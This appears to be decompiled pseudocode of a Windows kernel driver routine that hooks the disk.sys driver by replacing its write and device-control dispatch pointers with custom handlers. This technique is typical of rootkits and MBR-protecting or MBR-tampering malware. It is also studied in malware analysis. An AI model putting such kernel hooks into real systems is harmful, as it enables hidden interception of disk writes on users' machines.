__int32 __cdecl HookDiskSys()
{
__int32 result; // eax@1
KIRQL v1; // al@3
UNICODE_STRING DestinationString; // [sp+0h] [bp-Ch]@1
KSPIN_LOCK SpinLock; // [sp+8h] [bp-4h]@3
RtlInitUnicodeString(&DestinationString, L"//Driver//Disk");
result = ObReferenceObjectByName(&DestinationString, 64, 0, 0, IoDriverObjectType, 0, 0, &DiskSysObject);
if ( result >= 0 )
{
result = (__int32)DiskSysObject;
if ( DiskSysObject )
{
OldDiskWrite = *((_DWORD *)DiskSysObject + 18);
OldDiskDeviceControl = (int (__stdcall *)(_DWORD, _DWORD))*((_DWORD *)DiskSysObject + 28);
OldDiskIntenalControl = *((_DWORD *)DiskSysObject + 29);
KeInitializeSpinLock(&SpinLock);
v1 = KfAcquireSpinLock(&SpinLock);
*((_DWORD *)DiskSysObject + 18) = NewDiskWrite;
*((_DWORD *)DiskSysObject + 28) = NewDiskDeviceControl;
*((_DWORD *)DiskSysObject + 29) = NewDiskWrite;
KfReleaseSpinLock(&SpinLock, v1);
result = ObfDereferenceObject(DiskSysObject);
}
}
return result;
}